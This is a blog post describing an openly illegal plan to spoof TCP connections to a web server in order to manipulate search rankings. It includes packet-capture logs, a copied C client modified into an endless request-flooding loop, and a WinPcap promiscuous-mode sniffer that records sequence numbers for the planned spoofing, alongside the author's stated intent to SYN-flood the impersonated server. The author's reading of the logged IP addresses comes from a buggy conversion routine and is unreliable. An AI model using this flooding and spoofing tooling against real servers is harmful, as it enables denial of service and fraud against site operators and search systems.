An Illegal Method For Improving Search Standings

Proof of Concept

 

flag = syn
15:01:42,676956 len:66, seqnbr:825111809, acknbr:0, source_port:50808, dest_port:445
flag = ack + syn
15:01:42,677055 len:66, seqnbr:3078048642, acknbr:825111810, source_port:445, dest_port:50808
flag = ack
15:01:42,678327 len:60, seqnbr:825111810, acknbr:3078048643, source_port:50808, dest_port:445
 The above data came from my WinPcap program that I introduced in my last blog. In that blog I included the following pseudocode:
Packet 1: Client -> Server
          flags: SYN            ("I want to initiate a connection")
          SEQ  : clientnr
Packet 2: Server -> Client
          flags: SYN, ACK       (ACK: The request is being acknowledged)
          SEQ  : servernr
          ACK  : clientnr+1
Packet 3: Client -> Server
          flags: ACK

Notice that the format of the data and the pseudocode is the same. I made modifications to the code in my program too output data that passes through the network adapter with the SYN and ACK flags set. Notice how the client and server both generate sequence numbers.  After receiving a sequence number, both client and server add one to it and set  ACK to that value; if they haven't created a sequence number they do so.

... The data was generated by starting up the (modified) basic_dump program, starting up a web browser and then visiting a web page. So the ip address I sent the web server (Serval) was that of the machine the client ran on (Caprica). That means Caprica received the ACK from Serval. If I had spoofed the IP address then I would never have received the ACK from Serval; it would've gone to the spoofed address. If I can  send an ACK back to Serval before the spoofed server can, then I can complete the connection; no problem. I can SYN flood the server I'm spoofing and I can flood Serval with requests at the same time. Here's some data I collected with a further modified version of basic_dump, while running the program I'll use to flood Serval with requests:

flag = syn
source ip: 76.18.55.205
dest ip:   0.140.42.144
00:43:11,398053 len:74, seqnbr:1969657973, acknbr:0, source_port:45550, dest_port:80, sourceip:3442938444, destip:151169216

flag = ack + syn
source ip: 0.140.42.144
dest ip:   76.18.55.205
00:43:11,398189 len:74, seqnbr:2715109788, acknbr:1969657974, source_port:80, dest_port:45550, sourceip:151169216, destip:3442938444

flag = ack
source ip: 76.18.55.205
dest ip:   0.140.42.144
00:43:11,399613 len:66, seqnbr:1969657974, acknbr:2715109789, source_port:45550, dest_port:80, sourceip:3442938444, destip:151169216

 

Please note that I'm now displaying ip addresses, too. My wan address  is 76.18.55.205 and my local network addresses start with 192.168. The wan address shows up correctly, but I expected a 192.168.x.x address, too. I guess ip addresses starting with a zero represent computers that aren't a gateway or home of the web server. Here's the code I used to flood Serval with requests (copied off the Internet):

/**********************************************************************
 * client.c --- Demonstrate a simple client.
 * Tom Kelliher
 *
 * This program will connect to a simple iterative server and exchange
 * messages.  The single command line argument is the server's hostname.
 * The server is expected to be accepting connection requests from
 * SERVER_PORT.
 *
 * The same message is sent three times over separate connections, 
 * demonstrating that different ephemeral ports are used for each
 * connection.
 **********************************************************************/


#include 		//sys/types.h
#include 	 	//sys/socket.h
#include  	      //netinet/in.h
#include 		//netdb.h
#include 		//stdio.h
#include 		//stdlib.h


#define DATA "GET / HTTP/1.0\r\n\r\n"
#define SERVER_PORT 80
#define BUFFER_SIZE 16384


/* prototypes */
void die(const char *);
void pdie(const char *);


/**********************************************************************
 * main
 **********************************************************************/

int main(int argc, char *argv[]) {

   int sock;   /* fd for socket connection */
   struct sockaddr_in server;   /* Socket info. for server */
   struct sockaddr_in client;   /* Socket info. about us */
   int clientLen;   /* Length of client socket struct. */
   struct hostent *hp;   /* Return value from gethostbyname() */
   char buf[BUFFER_SIZE];   /* Received data buffer */
   int i;   /* loop counter */

   if (argc != 2)
      die("Usage: client hostname");

   /* Open 3 sockets and send same message each time. */

   for (i = 0; i < 3; ++i)
   {
      /* Open a socket --- not bound yet. */
      /* Internet TCP type. */
      if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
         pdie("Opening stream socket");
      
      /* Prepare to connect to server. */
      bzero((char *) &server, sizeof(server));
      server.sin_family = AF_INET;
      if ((hp = gethostbyname(argv[1])) == NULL) {
         sprintf(buf, "%s: unknown host\n", argv[1]);
         die(buf);
      }
      bcopy(hp->h_addr, &server.sin_addr, hp->h_length);
      server.sin_port = htons((u_short) SERVER_PORT);
      
      /* Try to connect */
      if (connect(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
         pdie("Connecting stream socket");
      
      /* Determine what port client's using. */
      clientLen = sizeof(client);
      if (getsockname(sock, (struct sockaddr *) &client, &clientLen))
         pdie("Getting socket name");
      
      if (clientLen != sizeof(client))
         die("getsockname() overwrote name structure");
loop:      
      printf("Client socket has port %hu\n", ntohs(client.sin_port));
     
      /* Write out message. */
      if (write(sock, DATA, sizeof(DATA)) < 0)
         pdie("Writing on stream socket");
      
      printf("Just wrote message to server\n");
      
      /* Prepare our buffer for a read and then read. */
      bzero(buf, sizeof(buf));
      if (read(sock, buf, BUFFER_SIZE) < 0)
         pdie("Reading stream message");
      
      printf("C: %s\n", buf);
goto loop;      
      /* Close this connection. */
      close(sock);
   }

   exit(0);

}


/**********************************************************************
 * pdie --- Call perror() to figure out what's going on and die.
 **********************************************************************/

void pdie(const char *mesg) {

   perror(mesg);
   exit(1);
}


/**********************************************************************
 * die --- Print a message and die.
 **********************************************************************/

void die(const char *mesg) {

   fputs(mesg, stderr);
   fputc('\n', stderr);
   exit(1);
}

I made some very minor changes to the above program.  I changed the DATA macro to a GET request, so it would get a web page, and I increased the size of buf the buffer. I also added a goto that makes the send receive an endless loop. The author of this program was nice enough to put a printf in the code too output the port number (oh yeah, I also changed the destination port number to 80). The above code compiles clean on Legacy OS 2 (A Puppy Linux pupplet). Here's the code for basic_dump (compiled on VC++ - Visual Studio Express 10) with my second set of modifications:

 

#include 	//stdafx.h
#include 	//added pcap.h to the include path
#include  
#include "winsock2.h"               //need this for the ntohs and ntohl functions
#pragma comment(lib, "ws2_32.lib")  //I added the wpcap.lib library in the project settings but I wasn't sure about how too add this
                                    //so I'm adding the library for winsock here, the old fashioned way
using namespace System;

/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

// prototype of dotted decimal formatting function
void createDotted(char *binaryStr);

FILE  *network_records;
int main()
{
	pcap_if_t *alldevs;
	pcap_if_t *d;
	int inum;
	int i=0;
	pcap_t *adhandle;
	char errbuf[PCAP_ERRBUF_SIZE];
	
	network_records = fopen("network_records.txt.","w");
	/* Retrieve the device list */
	if(pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}
	
	/* Print the list */
	for(d=alldevs; d; d=d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}
	
	if(i==0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}
	
	printf("Enter the interface number (1-%d):",i);
	scanf("%d", &inum);
	
	if(inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}
	
	/* Jump to the selected adapter */
	for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
	
	/* Open the device */
	/* Open the adapter */
	if ((adhandle= pcap_open_live(d->name,	// name of the device
							 65536,			// portion of the packet to capture. 
											// 65536 grants that the whole packet will be captured on all the MACs.
							 1,				// promiscuous mode (nonzero means promiscuous)
							 1000,			// read timeout
							 errbuf			// error buffer
							 )) == NULL)
	{
		fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}
	
	printf("\nlistening on %s...\n", d->description);
	
	/* At this point, we don't need any more the device list. Free it */
	pcap_freealldevs(alldevs);
	
	/* start the capture */
	pcap_loop(adhandle, 0, packet_handler, NULL);
	
	pcap_close(adhandle);
	fclose(network_records);
	return 0;
}


/* Callback function invoked by libpcap for every incoming packet */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
	struct tm *ltime;
	char timestr[16];
	time_t local_tv_sec;

	typedef struct tcp_header  
 {  
     unsigned short source_port; // source port  
     unsigned short dest_port; // destination port  
     unsigned int sequence; // sequence number - 32 bits  
     unsigned int acknowledge; // acknowledgement number - 32 bits  
    

     unsigned char ns :1; //Nonce Sum Flag Added in RFC 3540.  
     unsigned char reserved_part1:3; //according to rfc  
     unsigned char data_offset:4; /*The number of 32-bit words in the TCP header.  
     This indicates where the data begins.  
     The length of the TCP header is always a multiple  
     of 32 bits.*/ 

     unsigned char fin :1; //Finish Flag  
     unsigned char syn :1; //Synchronise Flag  
     unsigned char rst :1; //Reset Flag  
     unsigned char psh :1; //Push Flag  
     unsigned char ack :1; //Acknowledgement Flag  
     unsigned char urg :1; //Urgent Flag  
   
     unsigned char ecn :1; //ECN-Echo Flag  
     unsigned char cwr :1; //Congestion Window Reduced Flag  
    
     unsigned short window; // window  
     unsigned short checksum; // checksum  
     unsigned short urgent_pointer; // urgent pointer  
 } TCP_HDR;  

/* Ip header (v4)  */
 typedef struct ip_hdr  
 {  
     unsigned char ip_header_len:4; // 4-bit header length (in 32-bit words) normally=5 (Means 20 Bytes may be 24 also)  
     unsigned char ip_version :4; // 4-bit IPv4 version  
     unsigned char ip_tos; // IP type of service  
     unsigned short ip_total_length; // Total length  
     unsigned short ip_id; // Unique identifier  
   
     unsigned char ip_frag_offset :5; // Fragment offset field  
    
     unsigned char ip_more_fragment :1;  
     unsigned char ip_dont_fragment :1;  
     unsigned char ip_reserved_zero :1;  
    
     unsigned char ip_frag_offset1; //fragment offset  
    
     unsigned char ip_ttl; // Time to live  
     unsigned char ip_protocol; // Protocol(TCP,UDP etc)  
     unsigned short ip_checksum; // IP checksum  
     unsigned int ip_srcaddr; // Source address  
     unsigned int ip_destaddr; // Source address  
 } IPV4_HDR;  
    
/* Ethernet Header  */
 typedef struct ethernet_header  
 {  
     UCHAR dest[6];  
     UCHAR source[6];  
     USHORT type;  
 }   ETHER_HDR;  
   
 ETHER_HDR *ethhdr;  
 IPV4_HDR *iphdr;  
 TCP_HDR *tcpheader;  
 unsigned char iphdrlen = 0;
 unsigned int sequence = 0;
 unsigned int ack = 0;
 unsigned short dest_port = 0;
 unsigned short source_port = 0;
 int flags = 0;
 unsigned int sourceip = 0;
 unsigned int destip = 0;
 char binaryStr[255];
 
 	/*
	 * unused parameter
	 */
	(VOID)(param);

	/* Get the sequence number from pkt_data */
	iphdr = (IPV4_HDR *) (pkt_data + sizeof(ETHER_HDR));
	iphdrlen = iphdr->ip_header_len*4;
	tcpheader = (TCP_HDR*) (pkt_data +iphdrlen + sizeof(ETHER_HDR));
	if (tcpheader != NULL) 
	{
	   sequence = ntohl(tcpheader->sequence);
	   ack = ntohl(tcpheader->acknowledge);;
	   source_port = ntohs(tcpheader->source_port);
	   dest_port = ntohs(tcpheader->dest_port);
	   sourceip = iphdr->ip_srcaddr;
	   destip = iphdr->ip_destaddr; 
	}
	else
	{
		sequence = -1;
	}

	/* convert the timestamp to readable format */
	local_tv_sec = header->ts.tv_sec;
	ltime=localtime(&local_tv_sec);
	strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);
	
	//I just want info from web connections - filtering for port 80
	// if ((dest_port == 80) || (source_port == 80))	
	if (tcpheader->syn)
	{
	   ++flags;
	}
	if (tcpheader->ack)
	{
		flags += 2;
	}
	
	switch (flags)
	{
	case 1: printf("flag = syn\n");
		    fputs("flag = syn\n", network_records);
			break;
	case 2: printf("flag = ackn\n");
		    fputs("flag = ack\n", network_records);
			break;
	case 3: printf("flag = syn + ack\n");
		    fputs("flag = ack + syn\n", network_records);
			break;
	}
	if (flags != 0)
	{		
		itoa(sourceip, binaryStr, 2);			
		createDotted(binaryStr);
		printf("source %s\n", binaryStr);
		fprintf(network_records, "source %s\n", binaryStr);
		itoa(destip, binaryStr, 2);			
		createDotted(binaryStr);
		printf("dest %s\n", binaryStr);
		fprintf(network_records, "dest %s\n", binaryStr);
		printf("%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip);		
		fprintf(network_records, "%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip);
	}
}

void createDotted(char *binaryStr)
{
	struct dottedType
      {
	 char seg0[9];
	 char seg1[9];
	 char seg2[9];
	 char seg3[9];
     } Dotted;

      memset(Dotted.seg3, 0, 9);
	strncpy(Dotted.seg3, binaryStr, 8);
	memset(Dotted.seg2, 0, 9);
	strncpy(Dotted.seg2, binaryStr + 8, 8);
	memset(Dotted.seg1, 0, 9);
	strncpy(Dotted.seg1, binaryStr + 16, 8);
	memset(Dotted.seg0, 0, 9);
	strncpy(Dotted.seg0, binaryStr  + 24, 8);		
	sprintf(binaryStr, "ip: %u.%u.%u.%u\n", strtoul(Dotted.seg0, NULL, 2), strtoul(Dotted.seg1, NULL, 2), strtoul(Dotted.seg2, NULL, 2), strtoul(Dotted.seg3, NULL, 2));
}
 

I mentioned in my last blog that I needed a program running on Caprica that allows hand entry of sequence numbers. That's my next task. My next blog should show me spoofing Serval.

Return To My Blog Page       Return To My Programming Page